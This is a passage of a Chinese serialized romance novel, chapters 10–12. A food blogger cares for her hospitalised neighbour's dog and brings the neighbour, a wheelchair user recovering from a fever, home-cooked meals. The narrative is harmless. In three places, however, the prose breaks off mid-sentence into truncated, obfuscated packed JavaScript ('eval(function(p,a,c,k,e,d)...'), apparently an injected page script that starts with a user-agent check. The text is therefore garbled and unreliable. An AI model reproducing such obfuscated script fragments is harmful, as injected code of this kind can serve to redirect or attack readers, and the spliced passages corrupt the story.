出门前,她站在门口犹豫了一下,还是点开了微信界面。 她盯着纪允川的头像敲了一句: 【我要去超市买菜拍视频,要不要顺便给你带点什么?】 消息发出后五分钟没回,她随意地坐在玄关的换鞋凳上打开手机刷短视频。 十分钟没回,她刷的有点着迷。 二十分钟过去,她意识到再不出门商场要关门了,迅速关了手机开始换鞋,迟钝地察觉到自己居然因为一条消息耗掉了二十分钟的时间。 简直疯了。 “欠债还钱。活该呐……”她喃喃抱怨。 于是她没再等。 她走下楼,雨刚停,湿气在楼道里没散干。 她穿过花坛,在备忘里里又添了两个调料,还有消耗掉的日用品,快步穿过小区正门,一出门口,突然听见熟悉的声音。 “汪!!” 她下意识一顿,转头看去。 一只眼熟的小金毛正撒欢地从前方灌木丛边冲过来,尾巴像扇子一样摇个不停,眼睛亮晶晶地看着她。 是崽崽。 她几乎立刻认出来了。 “你怎么在这?”她顿了一下,立刻扫了一圈附近。 但纪允川不在。 她皱眉低头:“崽崽?你……出来自己遛自己?” 小狗呜呜了两声,像是想扑到她身边,又像被谁警告过,只围着她原地转圈。 这是什么意思?她丢完猫,纪允川开始丢狗吗?这也能传染? 许尽欢正疑惑,身后忽然传来一声男人的声音: “哎,小崽崽,别把人吓着了。” 她立刻循声转头。 不远处,一位三十来岁的男人走过来,高瘦挺拔,一身深灰风衣,剪裁利落,鼻梁上架着金丝边方形眼镜,正脸极其英俊,眼神里有种淡淡的从容和压迫感。 许尽欢下意识对崽崽开口:“你给自己找了个新爹?” 10. 第 10 章 病房窗帘是遮光布料,灰蓝色,两片在电动架的驱使下严丝合缝,房间里只剩下点滴的滴水声,和小型监测仪偶尔一闪一闪的灯。 纪允川被烧得精疲力尽,好不容易退了一点热,整个人像是被汗水榨干,四肢发软,眼睛睁也不是闭也不是,眼皮都感觉灼热烧的慌。 李至延刚出门,护工小张守在门口,他独自靠在病床上假寐,脑子里飘浮着一些不太清楚的念头,偶尔浮上来一两张脸。 他的狗、他的床、他的轮椅、手机电脑、他的右手、准备再租一层楼的工作室、团队制作快要完成的游戏、还有那个在医院走廊上拉着他的右胳膊说“别用力”的人。 “唉……”他艰难地叹了一口气,头往枕头上一歪,冲着天花板轻声哼了一句,“我家狗子怎么办啊,我苦命的儿子啊。” 门开了。 “闭嘴。”齐斯年的声音飘进来,语气嫌弃,“吵死了。等会我就回你家,给你儿子遛个三圈。别跟个生无可恋的老大爷似的哼哼唧唧。” 纪允川眼睛一亮都没顾得上问这人怎么来看他了:“你去遛他?” 齐斯年看他这副模样就来气:“不然等你回家你儿子都给你家拉满了。” “兄弟,大恩不言谢啊。”纪允川举手装作作揖。 “这是小恩,”齐斯年皱着眉拆牛皮纸袋里的病号餐,“你可以谢。” “哪能。”他重新靠回床头,嬉皮笑脸。 齐斯年把饭盒放在床边小桌上,点了点他脑袋:“别笑了,再笑脸都有褶子了,看得我想给整容医院打电话。” “这不……烧退了嘛。”纪允川慢吞吞地吸口气,“怎么还不允许人开心了。” “闭嘴。” 齐斯年把外套脱了搭在沙发椅背上,走到窗边撩开窗帘一角,往外看了眼,灰沉的天压得低,像是还要下雨。 “你烧这一天半夜,我白天推了两个会,还抽空跟你爸妈打了报告说你在工作室带领着你的下属们蒸蒸日上百尺竿头。” “我真是没事。”纪允川躺在床上说。 “没事进医院了?”齐斯年把窗帘放下,回头看他,语气缓了一点,“又像要下雨,你难受吗?” 纪允川拿着勺子喝粥:“就那样。” “李至延说你右臂那个伤发炎了,打完疫苗还洗澡?这么爱干净?” “我不是……没想到嘛。我想着都打疫苗了。”他声音有点小。 “你还知道打疫苗啊?”齐斯年挑眉,“我还以为你全靠四十度的体温杀菌消毒呢。” “哥,你这么讲话你女朋友不打你吗?”他撇嘴。 齐斯年没追问,只是“哼”了一声,然后坐回沙发,从袋子里掏出餐盒盖上的湿巾:“你还想跟我女朋友一个待遇?” “说说吧,怎么被猫给抓了?” 纪允川埋头吃饭:“我邻居。” “我记得你小区一梯一户啊?”他继续漫不经心地问。 纪允川转过头反驳:“我楼下的邻居!谁说楼上楼下就不算邻居了。” “欲盖弥彰。”齐斯年嗤了一声,“暗恋对象吧。” “?”纪允川满脸震惊。 “原来还真是啊,终于被我给诈出来了。我以为你打算过几年自动成魔法师呢。”齐斯年来了兴趣。 “就是邻居之间帮个忙。”纪允川一本正经。 齐斯年掀了掀手,不欲多看病床上的人一副少男怀春的模样:“我看着你吃完饭就走,等会顺路把你家那只小祖宗放出去遛遛,省得他在家哀嚎到邻居投诉你虐狗。” 纪允川听到“走”字明显不满:“哎——小齐哥,你别急着走嘛!” “不走干啥,在这看你这倒霉样心烦。” “那你顺便给崽崽开个罐头吧,我刚刚看监控,自动喂食机的狗粮他都没吃完。” “成。”齐斯年站起身,把剩下的饭盒推远。 纪允川噗嗤一声笑出来:“行了哥,你快去吧,崽崽别真在家里拉屎了。我家木地板挺贵的,不好收拾。” “惦记家里的狗就多休息听医生的话。”齐斯年皱着眉拎起外套。 他走到门口,推开门的时候,回头说了一句:“你帮了暗恋对象的忙还负了伤,这不找借口让人家探个病。” 纪允川叹了口气:“再说再说。” 门一关,他有点蠢蠢欲动,从床头摸了会儿摸到手机,翻了好几遍聊天框,最后停在“许尽欢”那一栏。 他盯着那个聊天框很久,指尖在屏幕上划来划去。 点进去,什么都没打,盯着光标半天,最后又退了出来。 “不能操之过急。”他自言自语。 就在他把手机搁回床头,准备闭眼小憩的时候,铃声响了。 他条件反射地抓起手机,看见来电显示—— 【齐斯年】 “喂?” “儿子随爹,拈花惹草。” 纪允川一脸懵:“……大人冤枉?” “遛你家狗的时候,它一溜烟往一个姑娘腿边钻,要不是姑娘好像眼熟你家狗,我直接就被小区保安扭送派出所去了,你出院必须请我吃饭。” “啊???”纪允川一手捂脸,“没听说过!我家崽崽向来温柔体贴不惹事的。” “完了。”电话那头齐斯年忽然低声,“姑娘和狗都停住了,我要被问责了。” “……啊?”纪允川直起身来,“哥?哥你还在吗?” 没有回应。 他盯着手机,整个人都有点紧张。 几分钟后,电话铃声再次响起。 纪允川正在电脑上看程序日志,没多看就飞快按接听键:“齐哥,我亲哥,你不会真被扭送派出所了吧?” “纪允川?”电话那头传来一个完全不属于齐斯年的声音。 熟悉的、冷静的、干脆的女声。 “我是许尽欢。” 电话那头的声音干净利落,不带太多起伏。 纪允川那一瞬间甚至没能及时反应过来是谁。手机的温度骤然升高烫着他掌心,他脑子卡了半秒,才猛地清醒过来。 “啊、啊……你好你好。” 他一贯轻松随性的语调竟有点发虚,像做错事被逮个正着的学生。 “你朋友在遛崽崽?”她问。 “对对对。”纪允川立刻回话,“是我哥,额,也不是亲哥,他……我发烧了几天,他刚才帮我去家里看看我崽崽。” “嗯,他刚才说了。”许尽欢顿了顿,语气仍然平平,“你发烧很严重?” “啊……还行吧。”他本来想开个玩笑,又觉得不太妥,立刻补了一句,“不过已经退了,现在好多了。” 许尽欢没说话。 电话那头安静下来,只有一点室外的风声和远处汽车经过的哄响。 他咬了咬牙,手指捻着医院的被套又开口:“你……是崽崽吓到你了?你有没有伤到?我回去就骂他。” “没有。”那边回答得很快,“他只是突然冲过来,我还以为你在附近。” 他低声“啊”了一句,不知道怎么接话。 然后,又陷入短暂沉默。 纪允川用左手慢慢推了下身侧的病床扶杆,病号服就是一片布,在腰际打了结。他靠着枕头,声音放轻了些,像怕吓跑对方:“其实,我这两天住院了。” “我知道。” “……你知道?” “你前天发消息说‘医生让我休息’。说漏嘴了。”她顿了下,“你这么喜欢加表情包的人,也没发表情包。” 纪允川怔了一下,嘴角忍不住轻轻弯起来:“原来这么早就被发现了啊。” “所以,医生怎么说?” 他心里高兴,忍着笑:“医生说只是正常的换季发烧,挂了药水,现在已经退烧了。这次每句都是实话。” “……烧成这样了,还有心思开玩笑。” 她语气听不出情绪,但他听出了里面藏着一点点轻微的,无奈的责怪。 微妙极了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……我不是要卖惨啊。”他语无伦次,感觉自己表现的实在很差,蔫巴巴地低声说,“我就是,怕你担心。” 这句话说出口,他自己都愣了。 手机那头久久没有回答。 他紧张地舔了下下唇,刚想再说点什么,结果就听见那边传来低低一声:“嗯,我知道了。” “啊?” “那你好好休息。” 语气没有明显的情感,但也算不上冷漠,是那种完全属于许尽欢表达, 不打扰、不追问、没有额外情绪。 “……那,晚点我再发消息给你。”纪允川小心翼翼地补了一句。 “嗯。” 电话挂断。 他盯着屏幕上那行“通话结束”的字,脑袋靠着枕头,一动不动地发了好一会儿呆。 直到小张和护士推门进来,护士给他换挂水,他还没缓过来。 小张看着纪允川魂不守舍的模样:“纪先生,要侧身吗?” 他终于回过神,艰难地笑了一下:“要吧。” 他试图撑着转个身位,但刚动,右手那点撕扯感就让他蹙了眉。 “诶,您别动,我来。” 护工小张是他上次术后恢复时请的,熟练地托住他肩膀,把他从床正中一点点移到一边,让他更靠近注射管方向。 “谢谢。” “您跟我客气啥。”小张给他掖好背后的靠垫,“您这样自己动容易崴伤肩。” “……我知道,就是有时候忍不住。” “不过您这烧的比上次住院还严重。” 他没回答,只点点头。 护工安静地收拾着点滴旁边的药袋,又检查了床尾挂着的尿袋接口,才离开。 病房里再一次安静下来。 纪允川靠着床,抬头看天花板。 眼睛慢慢闭上之前,自言自语地说了一句:“搞砸了啊……” “你好,我是纪允川的朋友。齐斯年。” 齐斯年信步溜达到许尽欢面前。 许尽欢内心怔然。 如果说纪允川是市中心遇到会绕道走疑似每根头发丝都有位女友的潮男,那这位齐先生看上去像是古早小说会出现的挖心换肝的霸总。 她是真的想搬家了。 “你好。我是纪允川的邻居,许尽欢。” 11. 第 11 章 “你好。我是纪允川的邻居,许尽欢。” 金丝边镜片后那双眼抬了一下,夜色和路灯在镜面上铺开一层温凉的光。男人收了收崽崽挣脱的牵引,点头:“你好,我是他朋友,齐斯年。它自己窜过来,幸亏遇见你。不然跑远了就麻烦了。” 崽崽绕着她脚边打圈,尾巴把路边草坪拍出细碎的水花。许尽欢“嗯”了一声:“它很乖的。” “总归还是要谢谢。允川这几天病的厉害,前两天被救护车从这拉走的,住院好几天了,遛狗就只能我来代劳了。不过我明天临时得出个差,也不知道崽崽怎么吃饭。”齐斯年收起笑,有些不好意思地看着面色平静的许尽欢。 许尽欢心里有了计较,毫不认识的人像倒豆子一样地说这纪允川的近况,还一副状似无意十分抱歉的模样。恐怕明天要出的差都是见到自己后才有的。 她自然知道这位齐先生的心思和意图,自己理亏在先,左右不过是自己家的逆子欠下的债:“嗯,让纪允川给我发微信吧。我帮忙。” 得逞的齐斯年笑的一副深藏功与名:“那真是太麻烦你了,等小川出院之后,叫他请你吃饭。” “客气。”许尽欢在心里深深叹了口气。 “允川在医院有人看着。别担心。” 他说完转身,两步后又回头,语调平淡:“那我先离开了。” 许尽欢没接话,只点头。风从小区门口吹进来,树叶叠叠响,水珠在叶脉上滚动。她缩了缩肩,转身回C栋。 玄关感应灯亮起,客厅里的武林外传仍旧低音量循环,像她家的恒定白噪音。抱抱趴在落地窗边,先装作没看见她,等她把鞋摆齐才慢吞吞地挪到脚边,尾巴贴着地来回扫。 “你省省吧。”她瞪它一眼,掏出手机打开购物软件,挑了一箱小狗罐头。 “叮”的一声,微信亮起。那个只有一个大写字母“J”的对话框里,弹出一张键盘图、六位数,是他家的门锁密码。 下一条,是拍得清清楚楚的手写表:崽崽作息与喂食食谱。早晚湿粮比例、口味轮换、禁食清单、散步时间段,最后一行小字:“如果你不方便,千万别勉强。我可以让朋友来。如果方便的话,拜托了!谢谢!!” 她把图片保存加星标。拇指在那六位数上停了一秒,合上手机。电视里佟掌柜在数落人,她在心里轻说:“债主。” 她把抱抱从窗前抱起来,小猫喵喵呜呜的一声放进猫窝,冷冷地盯着它:“明天开始,你给我老实。” 第二天午后,楼道里还留着昨夜的湿气,电梯镜面把她的身影拉得很薄。她在二十楼门口敲了两下,无人应答,输入那六位数。 门锁“滴”的一声,门缝里溜出木头地板的干净味道。她推门进去,第一眼就看见玄关并排的两台轮椅 左边那台显然是外出用,没有扶手,钛合金车架,侧板上贴着一枚旧旧的皮卡丘贴纸;右边那台似乎是室内用,坐垫更厚,靠背布料被硬挺的碳纤维塑出柔软的弧,看上去高度不足三十厘米,两个似乎扶手的棍边缘有反复按压留下的暗痕。 崽崽从阳台窝里探头,先“汪”了一声,紧接着像记起了什么戒律似的,硬生生把自己按住,只在原地狂摇尾巴。许尽欢朝它一招手,它才跑来,眼睛亮晶晶地盯着她。 “坐。”她说。 它坐好了。 “等一下。” 它真的忍住了。她按照纪允川发来的信息拆罐头,按食谱添水、搅匀,碗放到它面前:“吃吧。” 崽崽端端正正吃,吃两口抬头看她一眼,像在确认。她在客厅缓慢走了一圈,客厅的布局和自己家里差不多,不过杂七杂八的东西更少。显得比自己家大不少,大概是为了轮椅通行的便利。 低矮的原木茶几、可升降的超宽桌板,桌板上有双显示器和手柄;VR头显罩着防尘袋;角落靠着一块便携式斜坡板; 白墙上挂着一块小白板,写着“BUGLIST”“支线任务语音返工”“UI替换”,角落贴着一张打印纸:“每日拉伸:弹力带3×15/组”。 阳台拉力带两根,阻力大小不同,脚踏固定器贴在地板上。 冰箱门上贴着小号便利贴:“间导:8:00/12:00/16:00/20:00”、“口服药:早餐前,晚餐后”。台面一角摆着几只保温杯,旁边是理线束带和备用垃圾袋卷。 她低头看一眼正在吃饭的崽崽,目光不知不觉轻了下来。 门口有声响。 她坐在原地没动,门外站着个二十五六的小伙子,肩宽手厚,手里拎着两袋换洗衣物,见到她明显一愣,但立刻笑得憨:“您好,我是小张,上次纪先生住院我照顾的。我来拿换洗衣服。” “你好。”许尽欢点头回应,被对方一长串的自我介绍弄的有点不知所措,“我只是帮忙来喂狗。” “哎,那太谢谢您了,那我今天可以取了衣服就直接走了。”小张把袋子放进玄关,动作利落,熟练把阳台里晾干的一批叠好装袋,再把衣篓里的一袋塞进另一个防水袋,“崽崽这两天不太吃东西,我昨晚给它拌了点冻干才吃快点。它懂事,吃完就自己坐这等擦嘴。” “是很懂事。”许尽欢说。 和抱抱比起来简直算别人家的小孩。 小张看了看她,挠挠头:“您要去医院看他吗?纪先生住单间,清静。就是......”他忽然住嘴,“哎呀,我嘴快,您还是问问他本人。” “没关系。”许尽欢想了下,还是问,“病房号可以告诉我吗?” 小张犹豫了一下,压低声音报了医院名字,楼层和门牌,又补一句:“主治医生姓李,人很好。您去的话直接问护士站的护士就好。” “谢谢。” 小张临走,忍不住多看了她两眼,诚恳地说:“您来喂崽崽纪先生应该放心多了,前两天我愁坏了,崽崽不好好吃饭。” 门关上,屋里静下来。崽崽吃完自觉坐在小毯子上等,她拿纸巾给它擦嘴,动作轻得像在给人擦。擦完它往她膝盖上蹭了一下,趴在许尽欢怀里。 “好乖好粘人,性格怎么这么好啊?崽崽~”许尽欢被小狗脑袋拱得发出了夹着嗓子甜腻的声音。 许尽欢低头给纪允川发消息:【你方便吗?我可以去看看你吗?】 几乎秒回:【当然可以!随时欢迎!我现在不肿了!你什么都不用带啊!】 她:【好的。】 对面发来一个小狗转圈的表情包。 她把碗洗净,顺手把地毯边缘抚平,出门去超市。 她买了一箱牛奶、几盒无糖酸奶、一次性勺筷,又拐到菜场挑了山药、乌鸡、姜葱。 回到家,先给抱抱做了猫饭,然后她把原配方的乌鸡汤改成更清爽的版本。冷水下锅,撇尽浮沫,姜片只两片,盐少到几乎尝不出,起锅前把油面用勺沿一圈一圈地撇干净。 另起锅煮小米山药粥,把山药煮到软烂,用勺背压碎。装进两个保温杯,外套套袋,保温袋里再放一小包餐巾纸。 抱抱在她脚边绕,尾巴扫在她脚踝上。她叹了口气,感觉自己有点过了,这似乎是家属或者保姆做的事。看了眼罪魁祸首,又觉得一餐饭抵住院又太少。 她把保温杯拧紧,拎包叫车,出门前把给崽崽的罐头配送备注成“放c栋服务前台”,又抓了抓门口那只空猫粮袋,绝对带它去绝育,她在心里又记了一笔。 医院走廊泛白,私立医院环境很好,替代消毒水味儿的是餐巾纸一个味儿的香气。她在前台登记,领临时访客牌。 路过护士站,听到一句压低的对话,似乎是两位护士在交班:“昨儿V9那位,今儿退到三十七度八了,低烧,晚上可能还烧,观察再看。” 她在病房门前停半秒,VIP09。 她理理袖口,敲门。 纪允川看见她发来的预计下午六点到,像被人电了一下,立刻“噌”坐起来,左手去够床头柜上加热过的免冲水洗发帽。 右臂贴着敷料,他只好单手撕开包装,撕不开,用牙齿去咬。 好不容易撕开,手掌一滑,包装掉在地上,砸出沉闷一声。他弯腰想去捡,刚一折腰,背部肌肉抽了一下,右腿忽然开始细细地抖,像搁浅的鱼。 “嘶——”他憋住气,扶着床边的栏杆等痉挛过去。贴布边缘被汗水沾湿,黏在皮肤上,他强撑着抽了湿巾擦了把脸,整齐的病号服重新套好,领口被水晕开一圈。 他看一眼镜子里的自己,脸上还是热的,头发还湿着没来得及吹干,但眼睛亮得过头。 门外传来敲门声。 “请进!”他把声音往上提了一点。 门开,许尽欢站在门口,风带进来一点凉意。她的目光从他脸上滑到领口那圈水,又落在床头的点滴和床尾的尿袋上,短暂停住,随即移开,像什么也没看见。 “谢谢你来看他。”第一个开口的人是李至延。 十分钟前被连环电话召唤来送干净病号服顺便捡地上洗发帽的李至延听到动静抬头,把手机从耳边拿下,朝她点头。 视线在某人湿头发上停一秒,看自己这位因为洗头把原来病号服弄湿的愚蠢的弟弟孔雀开屏,什么也没说,中规中矩地嘱咐:“输完这一袋就休息。我出去接个电话。” “你来啦!”纪允川忽略李至延的眼神,像是被人捞出水面,眼睛里点着光。 “昨晚我回家碰见崽崽,听你朋友说你住院了,就顺路过来看看。”许尽欢把保温袋放在床边的小桌上,语气平平,“医生怎么说?” “嗨,没事儿。换季发烧,我过来吊几天水,来来回回的麻烦,索性就住下了。” “发烧很难受的,你好好养病。” 许尽欢仔细端详着病床上的人,头发还在滴水,脸色潮红,也不知道是发烧还是太活泼了,好像瘦了一点,帅的依旧很客观。 病房一股香味儿,vip病房连床单看着都高级点。许尽欢感慨,自己还是要多攒点钱,这样以后养老的等级待遇也能高一点。 他“嗯”的一声,把下巴往毛巾上蹭了蹭,想悄悄把水更按干一点。 许尽欢打开保温袋,把汤和小米山药粥摆好:“我做的很清淡,味道应该不会太好。能吃就吃一点。” 他去拧保温桶,左手发力,没拧开。第二次还是没开,他尴尬地笑了一下:“手有点滑。” 她伸手一捏,轻松拧开,递回去。指尖擦过他的指背。 许尽欢没什么感觉,纪允川倒是抖了一下。想被静电打了似的。 他端着小碗,慢慢喝,第三口时肩胛骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她起身,把空掉的餐盒收好,拧紧盖子,又把纸巾递给他,“别扯到胳膊上的贴布。” 看他还在用纸巾胡乱按,她伸手替他把额前那撮湿在眉骨上的碎发往上一拨,指腹从他额头掠过,轻轻碰了一下。 他整个人凝住,耳朵以肉眼可见的速度红了,红意沿着脖颈往下蔓延,像被扔进桑拿房。 门口有脚步声,李至延推门进来,时机十分的恰到好处。 他看了一眼那圈被神色慌张的已经变成红色的纪允川擦得更湿的领口,又看了看保温饭盒,声音温和,冲不明所以的许尽欢点了点头:“真是太谢谢你了,还给他送吃的。” “客气了。”许尽欢背起包,“我不打扰你休息了,就先走了。” “等、等一下。”纪允川忙道,“那个……谢谢你。” “好好养病。”她重复。 她转身出门,关门声很轻。走廊里的空调风从换气口缓慢地吹下来,吹得她袖口有点凉。 她在电梯里看镜子里的自己,脸被病房的暖气熏到一点红,耳廓也是。 出了一身汗,热的她有点不舒服。她不免感慨,这位弟弟的身体是真差啊。都快夏天了,又是盖被子又是开暖气的。 病房里,纪允川下意识地摩挲着小桌子上的保温杯,像新得来的什么奖杯。李至延把床摇低,看到纪允川的傻子样都失去了八卦的欲望,动作熟练地把被角塞紧:“傻笑够了就躺下休息。” “哥我啥时候能出院啊?” “你最好马上睡觉。”李至延难得温柔,“这样你应该能快点出院。” “好。”纪允川把脸埋在枕头里,耳朵还是红的。点滴滴答不停,窗帘外的天从灰转深,他合上眼,心口那块石头被轻轻挪开了一点。 电梯到了一楼,许尽欢穿过大厅,夜气贴上来。她在医院门口站了几秒,给c栋前台的工作人员发了条消息:“麻烦您帮忙把大厅的快递收一下,我晚些会自己去取,谢谢。” 回到小区,她先去前台拿了那箱罐头,再上二十楼。 玄关灯亮起的那一刻,崽崽冲过来又刹住,坐在她脚边抬头看她。她把罐头拆了一盒,按食谱加水。它低头吃,吃到一半抬头看她,尾巴拍出“啪嗒啪嗒”的声音。 【它很乖,放心。】 回到十九楼,她给纪允川发了一张崽崽正在吃饭的照片。发出去以后,她坐在沙发边,看着那条消息亮着,正准备锁屏,对面弹来一个字:【好~】 抱抱蹭过来,往她膝盖一顶。她伸手揉揉它的头,随手把客厅灯调暗一格。窗外的风从玻璃上掠过,薄薄的水印落在灯下。 病房里,纪允川看着那张崽崽的照片,放大、缩小,又放大。照片里狗的嘴角还挂着一点汤,眼睛在光里亮亮的。 他把“等我好了······”几个字在输入框里敲出来,又删掉,只留一个“好”。 他把手机扣在胸口。他在医院里第一次睡着得这么快。 梦里的风是温的,餐桌上是热气汹涌的红汤,他背着风,在人群里抬头,就看见她在对面,筷子点了点锅边,抬眼看他:“不是心心念念了很久?快吃。” 12. 第 12 章 回到家,玄关感应灯亮起,暖黄的光把门口的影子拖得很细。 客厅电视声量很低。抱抱应声蹭到她身边,喵了一声。 “过来。”许尽欢俯身,一把把这团奶茶色按进怀里。 猫抗议似的“喵”了一声,却没有挣扎,把脸埋进她的臂弯,找了个舒服的位置发出呼噜声。 她把灯没开全,留着一盏落地灯,抱着猫钻进沙发毯,先把手机面朝下按在茶几上,屏亮又灭,亮又灭,最终安静。 她在沙发上睡得不深。 半梦半醒之间,电视里“我心系百姓”的台词像薄棉铺过耳朵,抱抱的呼噜声贴着她肋骨一路颤过去。 她醒了一次,起身去阳台,抽了半支烟,指尖的红点在窗玻璃上映出一个小小的光圈。 她觉得无趣,随即按灭,洗了手,回客厅继续抱着猫睡。 三点四十,眼睛像被一只无形的手拉开。 她没有闹钟,身体自己把她推回到工作的轨道上。 温水、两小块黑巧,胃舒服了一点,她把灯架和餐车推出来,打开相机和返光板,调好白平衡。 时间过去两周,库存只剩下十条,今天就打算拍两条。 第一条是酱肉包。 和面时特写揉面团的相机角度,醒发时镜头贴着碗口拍保鲜膜鼓起的弧度,擀皮要让面粉在台面上起雾,包馅讲究肥瘦搭配,酱香里点胡椒,封口捏出小褶,摆在屉布上像一排排白胖的贝壳。 蒸汽冒起的时候,她把镜头探过去,热雾爬上镜头面,水珠在黑镜面上慢慢合拢,像一场雨。 第二条做了凉拌秋葵。 滚水烫,冰水激,切圈,汁水清亮; 还有一个豆腐,嫩豆腐切块,撒上柴鱼片和葱花小米辣,酱油和米醋一比一,滴两滴香油,镜头往上一抬,香气就似乎要从屏幕里飘出来。 她把多蒸的一屉包子给早上要来她家的苏苓留下。 想到医院里还有位债主,包了几个香菇青菜包重新放上蒸锅。 六点,开始剪素材,按习惯关掉所有音轨,靠读画面节奏剪切。 太阳没出来,七点多,她洗了个脸,换了件薄卫衣,给抱抱添了饭,躺回沙发眯了一会儿。九点半,闹钟响,她翻身坐起洗澡,刚从浴室出来就看到苏苓正在给她收拾玄关的快递盒子。 “姐,你起了啊?”苏苓一边说话,手上动作不停。 “别忙了,我自己收拾。做了酱肉包和秋葵,前两天你不是说想吃凉拌秋葵了?过来吃饭吧。”许尽欢趿拉着拖鞋去厨房拿了做好的包子重新加热。 十点整,她点开那个只有一个大写字母“J”的对话框,打字:【你起床了吗?】 几乎是同时,对面冒出来:【起了!】 【做了很多包子,你要是没吃早饭我给你带去些。】 【好耶!!你记得带伞啊!今天要下雨!】 【天气预报显示好像是阴天?】 【信我,绝对下,一定带伞。不下我让崽崽倒立洗澡。】 她想象了一下崽崽倒立的模样,不禁失笑。手机放下,她把包子按大小分装,酱肉和香菇青菜分两盒,保温袋里塞了苏苓榨好的两杯豆浆,一杯无糖、一杯微糖。 她把湿巾、一次性手套、餐巾纸和备用保温杯检查了一遍,拿起折叠伞。 病房里,纪允川忙的火热朝天。 又是洗澡又是刮胡子。还外卖叫了面膜。 右臂敷着纱布,贴布边缘微皱,手背青筋浅起。他把自己挪到盥洗台边,单手拆剃须刀,刀头“咔嗒”一声就位。 动作慢,角度不顺,拉到下颌时有点卡,他停了一下,换了个姿势。镜子上雾快,他抬胳膊抹了一把,水珠被手背推成一条条清亮的水痕。 小张给他端了温水,湿毛巾挤干,一块一块擦。到右臂时只能绕开敷料,贴布碰到水边就有点发痒,皮肤被胶拉着难受。 只好忍着,反手擦背的时候,胸以下那片空白像一堵墙,肌肉发力的回路断在后背的某个位置,背部细微地抖了一下。 左腿跟着打了几下节拍器式的抖动,痉挛从小腿一路向上蔓延,他长吐一口气,抓住扶杆,静静地等着它过去。 他把病号服换了一件干净的,领口抻平,胸口的位置因为刚刚擦身还潮,他抽了两张纱布垫在贴布边缘下,把医用胶重新压紧。 转移回床上时,他先把电动床角度升高,左手抓床边栏,用上身的动作甩着臀部往前挪。 这个动作他做了成百上千次,身体学会了用剩下的肌群作弊。 床头的小桌上,他把电脑合起,数据线收进网袋,游戏手柄塞回抽屉。 感觉收拾的差不多了,抽了张湿巾擦掉脸上的面膜精华,他抬头,听见门外轻轻两下敲门,“请进!” 声音不自觉高了半度。 许尽欢拎着保温袋站在门口。她先看了他一眼,脸色比前天好,眼睛亮得过头,头发干净,脸刮得利落,右臂还贴着全新的敷料,点滴在挂。领口没有昨天那圈水痕了。 “你来啦!”他说。 “还烧吗?”她把保温袋放在床边小桌上,抬眼看他。 “早就不烧啦。你甭担心,我身体没那么差。”他摆手,语气故作轻松,实际上声音尾巴有点虚。 “酱肉包,香菇青菜包,还有豆浆,和凉菜。包子和豆浆还热着。”她没拆他的台,把保温盒盖打开,蒸汽翻上来,香气顺着白气往上走。 “哇,好漂亮。好香啊。”他真诚地惊叹,眼睛里的欢喜几乎要溢出来。 “嗯。左边的豆浆是没放糖的。”许尽欢把两杯豆浆放在床头柜。 纪允川伸手要去拿,左手托在底下,右手不敢用力。她戴上一次性手套,把包子连同剪裁感好的蒸笼纸递给他,又顺手把小桌上的电脑收起往里推。 “我都不知道怎么报答你了。我这两天吃医院的饭都快吃昏迷了。”他咬了一口,呼出来的气都甜滋滋的,“这就是美食博主的实力吗?真的太好吃了。这么多,你吃早饭了吗?你快也吃点。” 她“嗯”了一声,自己咬了半口就放在一边。 “我没什么胃口。”她说得很自然。 他看见了,装作不经意地把素包推过去:“这个更清爽一点。” 她摇头:“我等会儿吃。” “还要住多久呐?”她转移话题。 “三五天吧,其实已经可以跑了,院长和我老爹是朋友,我容易被告状,所以比较老实。”他说着自己先笑,嘴里却还是不停:“你这包子……真的太好吃了,我给你付房租水电,咱不接外卖平台,开家馆子吧,你想啥时候开就啥时候开,想做啥就做啥,你这手艺不发扬光大真的是美食届的遗憾。” 许尽欢的嘴角还是轻轻动了一下,忽然像想起了什么好笑的,眼睛弯起:“主理人餐馆吗?” “哈哈哈哈哈哈,自媒体博主的网速好快啊。” 纪允川望着许尽欢的笑靥,失神半晌。 窗外天沉了下来。 许尽欢把折叠伞从包里拿出来:“你还挺神的。” 他抬眼,刚好听见玻璃上“噼里啪啦”一阵雨点,风把雨线撕成斜的。雨,说下就下。 “我说了吧,下雨。”他得意,“崽崽不用......” “倒立洗澡了。”她接话。 他们同时笑了一下。 门被敲了两下,李至延推门进来。听诊器挂在脖子上,白大褂下摆还带着一点走动的风。 “伙食不错啊。”他看了一眼小桌上的两个垫纸,又看一眼许尽欢,“想来营养跟上他也能好的快点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门轻轻掩上,他盯着那条门缝看了几秒,强迫自己不讲出任何“别走”之类的话。 她回来:“那我先走了,下午还要剪视频。” 他点头,冲她比了个OK:“收到,老板。” “包子还剩下几个,放保温盒里,最多再热一次。没吃完就扔掉。”她把保温袋扣好。 “等我出院,轮到我。”他忍了忍,还是露出他无法遮住的欣喜,“火锅、馄饨,都安排。” “发烧的话,不用洗头洗的这么勤快。”她忽然说。 他愣了一下,眼神飞速躲了一次,又回来,乖乖点头:“喔。” 她拿起伞:“好好休息,快点好起来吧。” “收到!保证完成任务。”他笑。 门轻轻关上,睡意从脊柱根部往上浮。 医院门口雨势更大,伞骨被风掀了一角,被许尽欢轻轻按住。她提前叫了车,收伞上车,后视镜里,医院楼层在雨幕里慢慢模糊。 到家第一件事是把酱肉包的素材彻底剪好放进草稿箱,然后开始剪凉拌秋葵。 手机嗡了一下。是他发来的雨幕视频,画面里窗玻璃被雨点敲出密密麻麻的白点,消息写:【认证:大雨!】 第二条紧接着:【你安全到家了吗?】 后面跟了一个克制的小笑脸,没再加他平时喜欢的大表情包。 她笑了笑:【到家了。】 把上周剪好的成片导出传给品牌方。窗外雨势渐缓,路面像刷了一层亮漆。 她合上电脑,把手机提醒事项打开:周五带抱抱做绝育前检查;周末给崽崽罐头。 纪允川在许尽欢离开之后,睡了一个小回笼觉,醒来时雨声还在。点滴换了一袋,护士帮他检查了贴布边缘和尾骨皮肤,叮嘱他换个姿势。 